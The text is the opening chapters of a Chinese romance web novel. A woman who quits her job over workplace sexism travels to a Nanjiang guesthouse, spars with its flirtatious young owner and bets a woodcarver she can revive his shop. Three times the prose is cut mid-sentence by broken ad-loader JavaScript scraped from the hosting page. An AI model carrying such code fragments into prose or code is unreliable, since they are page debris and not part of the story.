《心跳越界》 1. 入住 立秋已过,北城的暑气丝毫未减。 工作日早上七点,闹钟没响,身体倒先被几年来养成的生物钟唤醒。 孟冬愉本能地从床上坐起,待混沌的意识一点点回笼后,又躺了回去。 她把空调温度调高了几分,合上眼睛,试图续上方才被生物钟打断的梦境。 睡意刚酝酿出来,刺耳的铃声又忽然响起。 她皱着眉头坐起来,捞过手机,停钝了片刻,还是按了接听:“你好,哪位?” 熟悉的声音顺着听筒传来,带着诘责:“孟冬愉,你都和幻宙游戏的负责人说什么了?” “你再记恨我,也不能公报私仇啊?” 平日里温柔似水的嗓音此刻有些尖锐,比方才的铃声更让人清醒。 公报私仇? 困意全然消散,孟冬愉扯起唇角笑了下,只觉得荒谬。 她有些好笑地提醒他:“钱曾,我没那么大本事,我的一句话左右不了你的工作。” 不知道钱曾听没听出她的讥讽,但是他显然不信她的解释。 他的话语声传来,语气依旧带着质问:“那为什么本来谈得好好的,临近比赛游戏方那边突然反悔了?” 男女之间的某些滤镜一旦打破,先前觉得可爱的无知行为,现在看来只觉得蠢。 孟冬愉深吸了口气,耐着性子为自己当初错误的眼光买单:“你有时间问我,还不如直接去问他们。” “他们的负责人把我拉黑了。”钱曾的语气缓和一点,“你应该还有他们的联系方式吧?” 孟冬愉太阳穴突突地跳,她抬手按了按,而后冷冷开口:“钱曾,提醒你一下,我已经离职了。” 像是知道已经触及她的底线,钱曾语气软了下来,像以往很多次求她一样:“姐姐,你再帮我一次好不好?” “你有能力,去哪里都可以发光发亮,但我不能丢了这份工作。” 这么多年的经历,让孟冬愉以为已经能够完美地掌控自己的情绪,坦然面对一切。 但是此刻胃里却翻江倒海,恶心得要命。 她忍无可忍,冷笑出声:“帮你?凭什么?” “是我绿帽子没带够?还是我犯贱,想再看你为了往上爬又做舔狗又陪睡?” 遮羞布突然就这么被扯开。 对面的钱曾应该是没料到这种话会从孟冬愉口中说出来。 他明显愣了一下,而后话里也带了恼怒:“孟冬愉,你在我面前装什么清高?你走到今天不也是靠出卖色相?你和上任总监那档子破事谁不知道?” 果然。 只有彻底撕破脸皮之后,才能看到往日言笑晏晏下的真面目。 才能听到平日隐匿在心底的真实想法。 孟冬愉自嘲地笑了笑,忽而又想起那时候面对流言蜚语时,钱曾拉着她说:“姐姐,我只信你。” 早该明白的,这个世界上,哪有什么人会无条件相信她? 电话还在接通,对面一道劝慰的男声隐隐约约传到孟冬愉耳中:“钱曾,别感情用事,现在重要的是解决问题……” 没等钱曾再说些什么,孟冬愉挂断了电话,将这个没有备注的陌生号码拉进了黑名单。 一种无力感席卷全身,她握着手机倒头躺下,眼睛一眨不眨地盯着天花板。 一个月前,她精心筹备了三个多月的营销活动,由于新上任的市场总监的一句“手游比赛活动还是男生负责比较靠谱”,而被迫拱手让人。 接手的负责人还是,前些天因劈腿被分手,玩游戏十局九输的,她的前男友。 孟冬愉大学一毕业就入职了这家快消品公司,从管理培训生做到如今华北区的市场经理,用了差不多五年的时间。 她本以为站得越高,越能打破某些职场歧视。 身临其境时才发现,越往上走这种歧视越明显。 孟冬愉提了离职,又认真地将项目交接好,没当众说过一句公司和领导的不是。 她原本觉得已经做得够体面了,没想到到头来还被反咬一口。 孟冬愉前些天确实收到了游戏方负责人的吐槽,说自从项目换了对接人之后,原本定好的流程被改得一团乱,幻宙游戏领导层那边想要终止合作。 身为一个夹在两家公司中间的人,孟冬愉只是发了个安慰的表情包,其他什么都没说。 没想到离开公司的第二天,“公报私仇”这口锅还是落到了她头上。 手机还在嗡嗡作响,另一个陌生号码再次打来。 试图联系她的,除了钱曾,还有一些负责这个项目的前同事们。 【冬愉姐,现在幻宙那边好像真的生气了,我们发的消息全都不回。您和他们比较熟,能不能帮我们向那边再说说好话?】 【冬愉,我知道现在不该来打扰你,但是我们实在没办法了。你也知道的,这个活动我们投入很多,现在取消对我们来说损失巨大。】 …… 所有的消息总结起来,都是请她帮忙挽回局面的意思。 孟冬愉躺在床上,气极反笑。 要一个已经离职的人来帮他们擦屁股,也是荒唐。 她没那么好心,也没那个闲心,去管这些对她来说没有任何益处的事情。 她把微信退了,又把主卡拔掉,世界才恢复了清净。 孟冬愉有一个喜欢了很多年的词曲创作人在南江定居,微博上偶尔会发一些南江的美景。 这几年工作繁忙,她一直想去却没去看过。 一周前,她在网上订了去南江的机票,决定裸辞后去南江旅居一段时间。 下午五点。 飞机平安落地。 南江的八月比北城还要热一些,网约车的候车点是露天场地。 旅游旺季,等车都要排队等很久。 孟冬愉将原本散开的长发挽起,露出被汗水打湿的后脖颈,盯着打车软件上缓缓行驶的图标叹了口气。 大约过了十几分钟,一辆看着价格不菲的轿跑忽然混迹在网约车中缓缓驶来。 司机位上的男生降下车窗,向候车点喊:“有去‘满汀洲’民宿的小姐姐吗?” 满汀洲民宿。 孟冬愉低头在手机上确认了一下,是她预定的那个。 与此同时,打车软件弹窗显示,网约车将在两分钟后到达。 安全起见,孟冬 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 愉没理会那位轿跑司机,背着包坐上了原先打好的网约车。 南江依山傍水,以仿古建筑闻名,处处都是白墙黛瓦,车子越往前行驶,越有种“小桥流水人家”的意境。 半个小时的车程,网约车停在了一处巷子路口。 孟冬愉拖着行李下来,沿着青石板路往巷子深处走,最后停在挂着“满汀洲”牌匾的小院门口。 小院大门敞开着,从门外向内望去,映入眼帘的是一棵枝繁叶茂的桂花树。 只是未见花开。 桂花树下的藤椅上躺了个人。 那人脸上盖了本书,上身穿了件黑色T恤,长腿曲着,整个人都透着一股子懒倦。 他呼吸均匀,不知道睡着了没。 孟冬愉拖着行李跨过门槛,环顾四周。 院子内部不算小,朝南朝西方向是两层L型的小楼。 周遭绿意盎然,人造假山的潺潺流水声仿佛在谱一首悦耳的曲子。 确实如网上评价的那般,清幽宜居。 天色已近黄昏,小院的楼上已经有几个房间亮了灯。 但是楼下,能询问的,只有躺椅上的那个人。 孟冬愉走到离他几步远的位置,问道:“打扰一下,请问怎么办理入住?” 闻言,那人身体动了动,换了个更舒服的姿势。 他低磁的嗓音从书脊的缝隙中溢出,腔调懒散:“满房了,去别家吧。” 满房了? 孟冬愉点开民宿平台,再次确认她的订单。 之前交的押金没被退款。 木犀巷22号满汀洲。 地址没错。 平台主页的智能弹窗也在提醒她今晚入住。 孟冬愉原本加了满汀洲小客服的微信,前两天也确认过会给她留房。 今天早上她把微信退了,此刻也不想再登上去问,于是试图通过平台的聊天窗口和小客服联系。 咨询的消息发送许久,对方都不见回音。 孟冬愉看着躺椅上一动不动的男人,再次开口确认:“你好,请问你是这家民宿的老板吗?” 男人没应声。 不知道是真睡着了,还是懒得回答。 早上的不愉快本就有些影响心情,孟冬愉没再多问,点开民宿平台的人工客服电话,拨了过去。 电话对面甜美的声音响起,问她有什么需求。 孟冬愉开门见山:“你好,我要投诉。” 话音刚落,藤椅上的男人抬手将书拿掉,慢悠悠地直起身来,不咸不淡地评价了句:“还挺执着。” 蓝灰色的暮霭逐渐笼罩下来,夜幕不知不觉间降临。 楼上房间的几缕光线散落。 忽明忽暗中,孟冬愉终于看清了男人那张先前被书遮住的,很有冲击力的脸。 他额前的碎发被书压得有些塌,盖住了部分硬朗的眉骨。 隆起的眉弓下是一双漆黑又深邃的眼睛,眼角下勾,眼尾狭长又上扬。 他薄唇漾着极浅的弧度,直起身来的那一瞬间,眼睛也似笑非笑地望了过来。 然而,视线落到孟冬愉脸上的那一刻,却忽然怔愣了一下。 2. 搭讪 “女士您好,请问你要投诉哪家店?” 手机听筒里的声音将孟冬愉的思绪唤回。 她不卑不亢地盯着男人,缓缓开口:“南江的一家民宿,满汀洲。” “好的女士,请问您是因为什么原因投诉呢?” 电话中的问话还在继续,孟冬愉还没回答,男人倒先起身,朝她这边走来。 没给她时间反应,手机已经落入他的手中。 孟冬愉只能眼睁睁看着他按了挂断键。 他勾着唇角,吊儿郎当地开口:“真打算投诉啊?妹妹。” 妹妹? 他看着也就二十出头,年纪应该没她大。 不过孟冬愉当下没闲心理会他的称呼,她将手机拿了回来,语调带着淡淡的冷:“这么差的服务态度,还以为你们不怕投诉。” 男人顺手接过她的行李箱,神色依旧闲散:“说了满房都不走,还以为你是……” 话说到一半就戛然而止,孟冬愉有些不明:“什么?” 他整个身形隐匿在昏暗夜色中,语气有些意味深长:“另辟蹊径,找我搭讪。” 孟冬愉:“?” 旅游旺季,民宿本就不好订。 环境好又合心意的民宿更不好订。 孟冬愉虽然对他的言行举止颇有微词,但是也打没算闹得太僵。 她看向落他在她行李箱上的手,问道:“所以现在有空房吗?” 他懒洋洋地掀起眼皮,故意拖着腔调:“我的房间让你给住,行吗?” 孟冬愉抬眼看他,他的笑意中染着丝许戏谑。 痞里痞气,没个正形。 虽然没搞明白他到底是什么意思,但是孟冬愉的诉求只是能够正常入住。 至于他们怎么安排,要把谁的房间让出来,她都不介意,也没那么强的道德感。 毕竟现在她才是那个“受害者”和“倒霉蛋”。 孟冬愉点了点头,话说得直白:“我交了押金,又千里迢迢过来,到了却被告知没房,你们确实得给我个交代。” 闻言,男人挑眉,有些讶然:“交了押金?” 继而像是忽然间明白了什么,他勾着唇角笑了声,单手拎起她的行李箱往院子里走。 孟冬愉背着包,跟在他身后,沿着鹅卵石小路进了一楼侧厅。 镂空雕刻的木门被推开,室内淡淡的檀木香也扑鼻而来。 门后右侧有个长木桩样式的吧台,男人把行李放下,走了进去。 他慢悠悠拿起放在电脑旁的手机,拨了个电话出去:“回来吧,人已经到了。” 话音落,他单手撑着吧台,另一只手在电脑键盘上飞快敲了几下,而后盯着屏幕吐出了几个字:“冬天快乐?” 冬天快乐。 孟冬愉在各大APP上的网名都是这个。 他应该是看到了民宿平台上她和小客服的聊天。 孟冬愉承认般问道:“怎么了?” 他没搭腔,在电脑上操作一番,片刻后抬眼看她:“身份证出示一下。” 孟冬愉从包里掏出身份证递了过去。 男人接过来看了眼,缓缓念出了她的名字:“孟冬愉。” 他的嗓音和长相或者说性格是极为不符的。 性格看着恣意张扬,玩世不恭,但是音色却低醇沉澈。 喊她的名字时,像是在拉动一把质地上等的大提琴,深情而缱绻。 孟冬愉莫名觉得心尖有些发颤。 他双手撑在桌面上,微微俯身,漆黑的眸子盯着她,话出口时依旧带着漫不经心:“为什么不是十月快乐?” 孟冬愉愣了一下:“什么意思?” 他眉尖微挑:“孟冬不就是十月?” 冬愉。 冬天快乐很容易理解。 至于十月快乐。 孟冬愉还是第一次被人这么解读名字。 说起来还挺巧,那个她很喜欢的词曲创作者的微博简介一直都是——十月快乐。 对于一个粉丝来说,这意味着她的名字被偶像放到了自己的名字下方。 虽然知道只是巧合,但是这点巧合还是让孟冬愉感到一丝欣喜。 明明是来办理入住的,孟冬愉后知后觉间发现话题已经被眼前的人带偏。 不自觉弯起的唇角又拉成直线,她揉了揉眉心,面无表情地提醒:“想搭讪麻烦找别人,我对你没兴趣。” “搭讪?”男人忽的笑了。 他把她的身份证放下,捞起手机,调出微信二维码,明晃晃推到她面前。 他下巴点了点屏幕,示意她加个好友:“妹妹,这才叫搭讪。” 孟冬愉垂眼看了下,他的微信昵称是祁清肆。 应该是用的本名。 视线从桌面回到他脸上,孟冬愉摇头,拒绝地直接了当:“我没微信。” “还有,请尽快帮我办理入住。” “行。”祁清肆勾着唇角点头,不以为意地将手机收了回来,例行公事般问她,“打算住多久?” 孟冬愉闻言应声:“先租一个月。” “嘶——”祁清肆语调略带遗憾,似乎很为难,“一个月啊?” 孟冬愉不明所以:“怎么了?” 祁清肆双手环在胸前,看着她散漫开口:“客服没告诉你吗?我们这里都是三个月起租。” 孟冬愉:“?” 她之前加了客服微信,反复确认过是一个月起租。 而且客服应该是个比较单纯的小姑娘,还偷偷和她透露说其实周租也可以。 孟冬愉反驳:“你们客服说可以租一个月的。” 祁清肆全然不顾话前话后的矛盾,甚至有点耍无赖的意思。 他勾唇:“我是老板,自然我说了算。” 孟冬愉被气笑,她打开民宿平台,确认上面写得确实是一个月起租。 她指着屏幕:“你们这是在欺骗消费者?” 祁清肆歪头挑了下眉,面上没有丝毫心虚:“怎么?又要投诉啊?” 孟冬愉冷眼看他:“我需要维护自己的合法权益。” 话音刚落,门外忽然有两个人推门进来。 为首的是个小姑娘,大约二十岁左右的的年纪,扎着高高的马尾,青春洋溢。 她进来之后,跑到流理台倒了杯水猛地灌了下去,才嚷嚷着开口:“祁清肆,你得给我加工资。” 祁清肆掀起眼皮看了她一眼,嗤笑:“我不扣你工资就不错了。” 女孩闻言明显不服气:“这么大热天我亲自跑去机场接客人,从天亮等到天黑,这敬业的服务态度,凭什么扣我工资?” 应该是越说越来气,女孩又指了指身后跟着的男生:“还有你这个好兄弟胡杭,我都不想说,一下午连瓶水都不舍得给我买。” 被称为胡杭的男生,猛地被水呛了一下,边咳嗽边反驳:“童欣瑶,你别血口喷人,我买的奶茶 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 被狗喝了?” 童欣瑶圆圆的眼睛瞪了胡杭一眼,理直气壮:“奶茶又不是水,我说的不是事实吗?我都渴死了你也没给我买瓶水。” 胡杭满脸通红,不知道是被气的还是被呛的:“肆哥,以后再去接人,能不能别让这小公主跟着了?” 他把车钥匙丢给祁清肆,留下这句话扭头就走。 “谁乐意跟你?”童欣瑶不以为意的撇了撇嘴,又叉腰看向祁清肆,“为什么扣我工资?” 祁清肆把车钥匙随手丢到吧台上,似笑非笑地看了眼孟冬愉:“因为——” “有客人投诉。” 眼看着火被他引到她头上,孟冬愉皱了皱眉,越发觉得他幼稚。 童欣瑶也是个机灵鬼,眼睛滴溜溜地转了几圈,凑到了孟冬愉面前,熟稔开口:“你就是‘冬天快乐’姐姐吧?” 孟冬愉抿着唇角,承认地点了点头。 童欣瑶掏出手机,委屈巴巴地把微信拿给她看:“姐姐,我给你发了一下午的消息,你怎么都不回我啊?” 孟冬愉看着她屏幕上密密麻麻的绿色,向她解释:“抱歉,我这个微信不用了,所以没看到。” 童欣瑶接着卖惨:“我们在机场等了你一下午,联系不上你,也不敢回来。” 孟冬愉也订过不少次民宿,还没见过有客服会去机场接顾客的。 她想了一下,还是将疑惑问出了口:“你们为什么要去接我啊?” 说起这个,童欣瑶骄傲地拍了拍胸脯:“为了给客人提供优质的服务,入住我们民宿都是有专车去机场接送的。” “你又是最后一个租客,我在民宿闲着也是闲着,就跟着司机一起去了。” 孟冬愉把今天发生的所有事情串联起来,也算彻底弄清了事情的前因后果。 怪不得祁清肆刚开始说满房,听说她交了押金之后就带她来办理入住,又打了电话让童欣瑶他们回来。 孟冬愉叹了口气:“不好意思,害你们白跑一趟。” 童欣瑶眨了眨眼:“所以姐姐,你也不忍心看我被扣工资吧?” 孟冬愉看了眼祁清肆,又向她解释:“我没投诉成功。” 闻言,童欣瑶放心地松了口气,弯着眼睛夸赞:“我就说嘛,漂亮姐姐怎么会不满意我的服务态度呢。” 没等孟冬愉应声,她又开始操心起来,一副她才是这家民宿的主人的语气:“祁清肆,你帮姐姐办理好入住没?” 祁清肆不知道什么时候拉了把椅子坐了下来,他漫不经心地挑眉:“童欣瑶,到底谁是老板?” 话说到这,孟冬愉又想起刚刚的对峙,她向童欣瑶再次确认:“你们这里是三个月起租吗?” 童欣瑶疑惑地摇了摇头:“没有啊,你听谁说的?” 孟冬愉抬手指了指祁清肆:“他。” 童欣瑶选择和孟冬愉站在同一战线。 她替孟冬愉向祁清肆解释:“冬天姐姐打算租一个月,押金已经交过了。” 祁清肆点头,神色坦荡:“我知道。” “但是最后一间房,三个月起租。” 孟冬愉看着他,冷冷地坚持:“我只打算租一个月。” 眼看着两人之间剑拔弩张。 一个是民宿的主人,一个是已经答应好的客人。 夹在中间的童欣瑶有些欲哭无泪:“我请问呢?我该听谁的?” 无言对峙许久,祁清肆哼笑出声:“听她的。” 3. 把妹 孟冬愉第二天醒来的时候,已经是早上九点多。 可能是房间内的檀香木有安神的作用,孟冬愉本以为换了新的地方会认床,不曾想昨晚一夜无梦。 就连平日里早上七点钟就自然醒的生物钟都失效了。 民宿的楼上共六间房,房间隔音很好,内部的装修都是新中式风格,家居齐全。 孟冬愉在楼上洗漱好,而后下楼觅食。 楼下开放式的厨房空无一人,隔着门窗隐隐约约能听到小院里的吉他声。 孟冬愉磨了杯咖啡,又捏了一块茶酥,才推门出来。 没了门窗和墙壁的阻隔,吉他声也清晰起来。 弹得是孟冬愉很喜欢的一首歌。 透过门前的花卉绿植向外望。 桂花树下围了一群人,声音的来源也在此处。 孟冬愉端着咖啡绕过藤蔓攀缠的长廊,脚步落到鹅卵石小路上的那一刻,视野也清晰了起来。 祁清肆抱着把吉他坐在桂花树下,手指拨着琴弦,只弹不唱。 整个人依旧是一股子懒散劲儿。 他的周围围坐了一群小姑娘,像听音乐会似的,沉浸其中,肩膀还随着音乐摇晃。 最后时刻,歌曲被炫技般收尾,小院中掌声雷动。 他弹的这首歌不算大众,但是是孟冬愉听了很多年的。 当她因为祁清肆和她有相似的品味而触动时。 就听到有人举着手机,扬声问道:“帅哥,听人说你学吉他就是为了装酷、耍帅,真的假的?” “嗯。”祁清肆漫不经心地点头,似乎又想到了什么,偏头朝孟冬愉这边望了过来。 视线相交一瞬,他收回目光,勾着唇角笑了声,带着点痞气:“还为了——” “把妹。” 他的声音不大,却准确无误地落入所有人耳中。 像是调情般的暗示,让现场有些小姑娘红了脸。 第二首歌的前奏适时响起,没让这种有些暧昧的氛围继续发酵下去。 装酷、耍帅、把妹…… 孟冬愉在心底冷笑,再次把那点触动收回。 她将手里剩下的茶酥送入口中,还没下咽,童欣瑶忽的从她身后冒了出来。 童欣瑶打了个哈欠,一副刚睡醒的模样,站在她身边评价道:“祁清肆今天真奇怪。” 孟冬愉没应声,抿了口咖啡,将口中有些干噎的茶酥送了下去。 童欣瑶也不在乎有没有人和她讲话,依旧自顾自地吐槽:“他今天也不知道发什么神经,大早上在这儿孔雀开屏。我已经很久没见他这么花枝招展了。” 闻言,孟冬愉视线又回到祁清肆身上。 他发型应该是特意打理过,不长不短,漆黑蓬松。 身上的衣服依旧是一身黑,但是脖子上挂了条金属项链,右耳带了个黑色耳钉。 他姿态闲散,手指划过琴弦时又带着点肆意张扬。 确实很像孔雀开屏。 孟冬愉点头,顺着童欣瑶的话评价了句:“招蜂引蝶。” 话音还没落,演奏倒先停了。 祁清肆循声看了过来:“怎么还当面骂人啊?妹妹。” 童欣瑶以为是在说她,龇着牙打了个冷战,满脸嫌弃:“祁清肆,你少在我面前恶心人。” 祁清肆将错就错地嗤笑了声,没再搭腔,续上了断掉的曲子。 “太反常了。”童欣瑶捏着下巴摇了摇头,又有些担忧,“他最近是不是没钱了?” 这话倒是成功勾起了孟冬愉的好奇,她问:“什么说法?” 童欣瑶没什么坏心思,什么话都一股脑地往外倒:“冬天姐姐,你可能不知道,‘木犀巷的桂花树’和‘满汀洲的祁清肆’,前几年可是南江的网红打卡点。” “自从满汀洲火了之后,祁清肆见人都躲着走。” “可能是看这两年没什么热度赚不到钱了,他开始想着靠脸再营销一波?” 民宿都满房了,还能不赚钱吗? 孟冬愉喝了几口咖啡,终究没把这种偏私事的问题问出口。 “绝对是没钱了。”童欣瑶拍了拍脑袋,似乎找到了例子能更加佐证她的猜测,“昨晚他不是还坚持让你租三个月来着?” 虽然不太明白他坚持让她租三个月的目的究竟是什么,但是孟冬愉已经没了兴致继续探讨下去。 她垂眼看了下已经见底的咖啡杯,转移了话题:“你们老板今年多大?” 童欣瑶想了一下,不太确定地开口:“听我舅舅说他大我三岁,我今年二十,他应该二十三吧?” 二十三岁。 他昨天也看到了她的身份证,明明知道她比他大,结果还是“妹妹”“妹妹”地喊。 孟冬愉接着问:“那他习惯喊人妹妹?” 童欣瑶嫌弃地撇了撇嘴:“怎么可能?他一般直呼人大名。” “这么多年,别说喊我妹妹了,表妹都没喊过,今天真不知道他发什么神经。” …… 孟冬愉从童欣瑶的话里话间,把她了解了个透彻。 童欣瑶是祁清肆姑姑家的女儿,并不是满汀洲的全职客服。 她目前还在读大学,只是寒暑假会过来兼职,想着从祁清肆这里薅点生活费。 孟冬愉在她的强烈要求下注册了新的微信,又和她加了好友。 童欣瑶可能是怕孟冬愉对她有芥蒂,开玩笑地说她是个颜控,最喜欢漂亮的大姐姐。 她心思单纯,有话直说。 孟冬愉觉得她挺可爱。 虽然不排斥和她的接触,但是一直被她粘着,孟冬愉总觉得有些不习惯、不自在。 孟冬愉把喝光的咖啡杯清理好,而后找了个理由,说想要出去逛逛。 童欣瑶依旧热情地问需不需要陪她一起,被孟冬愉摇头拒绝。 孟冬愉简单收拾一下就出了门,漫无目的地沿着小巷往外走。 出了巷口就是秋意街,道路两旁商铺林立。 但是可能这里不是景点的原因,街上行人寥寥。 孟冬愉路过一家木雕店时,忽然间想起房间床头上的那个雕刻精致的檀香木摆件。 既净化空气,又安神,还有一定的美观性。 她跨门进去,试图去找同款。 店内空无一人,角落里的一些商品都落了灰。 几年下来累积的市场营销经验,让她迅速找到了店铺存在的问题。 店内的木雕作品不少,但是类型很单一。 雕刻都是些传奇的古代人物和一些家具建筑构件。 古朴经典,却很难吸引一些年轻消费者的目光。 不过孟冬愉没有闲心到去和老板沟通这些。 她店内转了一圈,没找到想要买的同款摆件,就径直出了门。 只是还没跨过门槛,视线先被放在门后的一张广告牌吸引。 说是广告牌,其实不过是一个黑板,上面写了两行字。 【招收学徒,仅限男生。】 又是仅限男生。 孟冬愉扯起唇角笑了笑,忽然间又想起她一年前升职为市场经理的时候,一位领导的评价。 他说:“女生喜欢意气用事,在管理岗上待不久。” 像是憋着一口气,一年来,她带着团队为公司创造了很多辉煌的业绩。 然而,当她又拿着这些成绩去竞聘市场总监时,却被告知,竞聘仅限男员工报名。 刚提完离职那段时间,孟冬愉也向一些公司投了简历,但是对方HR总是会问:“26岁,结婚了吗?” …… 如今连手工艺这些非遗行业,也要仅限男生了吗? 孟冬愉抬手重重地扣了扣木雕店的门,扬声问道:“请问有人在吗?” 片刻后,有一个大约四五十岁的中年男人打开了最里间的门。 他站在门口把身上的木屑拍掉,问道:“想买什么?” 孟冬愉走了进去,弯了弯唇角,努力让自己变得礼貌一点:“师傅,您这边收学徒吗?” 中年男人愣了一下,继而从上到下打量了她一遍 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' :“你想学?” 孟冬愉点头:“是的,我很……” 话没说完,就被他打断:“不收。” 孟冬愉抿了抿唇角,接着问:“为什么?” 中年男人再次打量她:“来旅游的吧?一时兴起想学木雕的人我见多了。” “就没见过能长久坚持下来的。” 只是担心不够长久吗? 那为什么黑板上写仅限男生? 男生就没有一时兴起的吗? 孟冬愉心里的话还没问出口,就听到中年男人再次补充:“而且,女娃娃能有什么力气?” “到时候不小心磕着碰着了,还要整天哭哭啼啼。” 果然。 还是对女生有偏见。 心底的那点执拗劲被激发了出来,孟冬愉深吸一口气:“师傅,我们打个赌怎么样?” 中年男人没听懂:“什么?” 孟冬愉看着他,缓缓开口:“如果我能在三个月内让您的店铺起死回生,您就收我为学徒怎么样?” 像是听到了什么幼稚的笑话,中年男人语气哄小孩子般,试图赶她走:“去去去,别耽误我干活。” 他刚转身,还没走进里间屋子。 店铺大门口一道讥讽的声音响起:“孟冬愉,跟这种赶不上潮流的老古板有什么好赌的?” 孟冬愉回头,就看到祁清肆吊儿郎当地倚在门槛上。 他双手环在胸前,神色带着些挑衅。 中年男人明显被他不恭敬的话给激怒了,拿起手边的木雕摆件扔了过去:“小兔崽子,谁让你来的?” 祁清肆侧身,熟练又灵活地躲开:“你开门迎客,我为什么不能来?” 他绕着店铺打量了一圈,不屑地笑了一声:“这种赔钱的店铺,还是早点倒闭了好。” 中年男人气得脸色铁青,音量也抬高了几分:“我再没本事,也比你整天无所事事强。” 祁清肆神色依旧散漫,一副全然没把话听到心里去的模样。 他“啧”了一声,慢悠悠开口:“祁振强,听没听过一句话,叫‘子不教父之过’。” 木雕擦着孟冬愉的肩膀,再次被砸了过去。 祁振强气急:“老子没你这个儿子,你给我有多远滚多远。” 祁清肆不以为意地勾了下唇角,依旧去气他:“老头儿,早点闭店,还能给自己留点养老钱。” 话音落,他视线又落到孟冬愉身上:“还愣着做什么?走了。” 眼看着店内硝烟四起,孟冬愉识趣地不再掺和,顺着祁清肆递来的台阶,打算出门。 刚迈开脚步,就被祁振强喊住:“等一下。” 孟冬愉闻声回头。 他重重地叹了口气,脸上带着历尽沧桑的疲惫,好像终于下定决心般,说:“小姑娘,我赌。” - 经过这么一闹,孟冬愉已经没了什么心思再去逛其他地方。 回去路上,祁清肆慢悠悠地跟在她身后,忽的把脚下的石子踢到她跟前,而后打破了安静:“孟冬愉,不谢我吗?” 孟冬愉头也没回:“等着你谢我。” 闻言,祁清肆愣了一下,反应了片刻,又嗤笑出声:“被时代淘汰的东西。” “在这上面浪费时间做什么?” 木雕是非遗,是应该被时代保护的东西。 她本意确实是想证明:女性遇到问题并不是只会哭哭啼啼。 但是她并不认为木雕的传承与创新是在浪费时间。 然而,祁清肆的话听起来不像是气话。 孟冬愉转身,试图从他的表情中寻找些蛛丝马迹:“那你还帮我打赌?” 祁清肆不自然地别开脸去:“我看不惯他这个人,行吗?” 真话假话掺在一起。 不够真诚。 孟冬愉不想继续和他掰扯,转身往前走:“随便。” 祁清肆几步走到她身边,与她并肩走着。 片刻后,他忽然问道:“孟冬愉,你对谁都这么冷漠吗?” 4. 吃饭 木犀巷的青石板路不算窄。 家家户户的桂花树跨过鳞次栉比的白墙,舒展到弄堂里,遮挡了部分阳光。 穿堂风卷着草木花香掠过,将祁清肆很轻的声音送入孟冬愉的耳中。 冷漠? 孟冬愉忽而又想起曾经也有人用过相近的词评价过她。 她说:“孟冬愉,你真的很假。” 思绪飘散片刻,孟冬愉垂眼扯了扯唇角,又偏头看向祁清肆。 她用他口中的冷漠回应他:“我们很熟吗?” 突然的语气转冷,让祁清肆有些愕然。 她那双眼睛非常漂亮,茶褐色的瞳孔盯着人时,仿佛能看穿人心。 只是这双好看的眼睛很少沾着笑意,眼底尽是淡漠。 面对她的反问,祁清肆咬着牙点头,讥嘲的声音从喉间溢出:“行,不熟。” 木犀巷很长,孟冬愉视线移回巷子深处,迈着步子往前走。 祁清肆落了她几步,跟在她身后,一路无言。 孟冬愉前脚刚踏入满汀洲大门,就听到小院中童欣瑶的喊声。 少女澄澈透亮的嗓音在院中回荡,和遮挡了她身形的植被一样,生机盎然。 “祁清肆,你可算回来了,胡杭买好了菜,正等着你大展身手呢。” 童欣瑶绕过长廊一路小跑,凑到孟冬愉身边,眼睛滴溜溜地打量他们一圈,狐疑地问道:“你们去哪了?怎么一起回来的?” 孟冬愉给了个简单的解释:“碰巧遇见。” 童欣瑶也没再多问,熟稔地去挽她的胳膊:“冬天姐姐,一会儿和我们一起吃饭吧,祁清肆手艺可好了。” 可能是被她的热烈且真诚的笑容感染,孟冬愉方才心底的那点郁闷消散了不少。 她抿了抿唇角,摇头拒绝:“不用了,我等下随便吃点就好。” 童欣瑶扬着下巴,不依不饶:“那怎么行,你第一次来,怎么也得尝尝南江的特色菜。” 昨天晚上孟冬愉办理好入住后,童欣瑶就和她讲过,民宿一楼的公共厨房可以随意使用。 橱柜里的速食都是他们准备好的,有什么想吃的可以随便拿。 偶尔大家也会一起买菜做饭吃。 盛情难却,孟冬愉犹豫了片刻,还是问道:“方便吗?” “当然方便。”童欣瑶迫不及待地点头,而后又看向本次的主厨,想要他也帮忙劝说,“你说呢,祁清肆?” 闻言,祁清肆勾着唇角哼笑出声:“不方便。” “你怎么回事?”童欣瑶叉腰,语调染上不满,“哪有这么招待客人的?” 说完,她又想到了什么似的补充:“要我我也投诉你。” 祁清肆没给她们眼神,慢悠悠地往厨房走,轻飘飘回了句:“今天不打算做南江的特色菜。” 童欣瑶挠了挠头,转头看向孟冬愉:“他什么意思?” 很明显,赌气的意思。 孟冬愉摇了摇头,装作不知道,找了个理由上楼回了房间。 她盘腿坐在卧室的飘窗上,望着窗外的风景,开始思考接下来重整木雕店的规划。 习惯了整理思路或者策划方案时有电脑可以敲敲打打,这么凭空想象,让她觉得灵感有些受限。 原本来南江是想放松一下,所以孟冬愉没带电脑过来。 不曾想,一场赌约,让她再次进入了工作模式。 不过既然答应了要赌,她肯定要尽自己所能做到最好。 她掏出手机搜了搜附近的电子产品门店,各种品牌眼花缭乱。 只是为了几篇策划案,买一个新电脑,对她来说过于奢侈。 方案一不太可行。 方案二是网吧,手机地图上显示,距离满汀洲最近的一家,直线距离也要十多公里。 依旧行不通。 只能去问问童欣瑶,一楼侧厅前台的电脑,能不能借她用用。 孟冬愉刚起身,就听到门外有人敲门。 木质门板被人扣响,“咚咚”两下,声音闷而缓。 而后,一道男声隔着门板传来:“孟冬愉,下来吃饭。” 是祁清肆的声音。 孟冬愉犹豫了片刻,走过去将门打开。 祁清肆倚在门外的围栏上,指尖夹了根快要抽完的香烟。 地面上有些烟灰散落,应该是在这里站了有一会儿了。 他短袖外套了件棕色围裙,和他的外型有种说不出的违和。 但是看得久了,又觉得挺搭。 见她出来,他把剩下的烟摁灭,下巴点了点楼梯口,嗓音微哑:“走了,再不下去菜都冷了。” 他神态自若,像喊客人般喊她下去吃饭。 仿佛方才说“不方便”的人不是他。 仿佛她才是在赌气的那个人。 这种被人“架起来”的感觉很不好,孟冬愉捏了捏掌心,礼貌地拒绝:“谢谢,我还不饿,你们先吃吧。” 祁清肆盯着她看,而后嗤笑一声,语调却带着点似有若无的委屈:“孟冬愉,一点面子都不给啊?” 越是这种对峙时刻,孟冬愉越是本能地想去反抗。 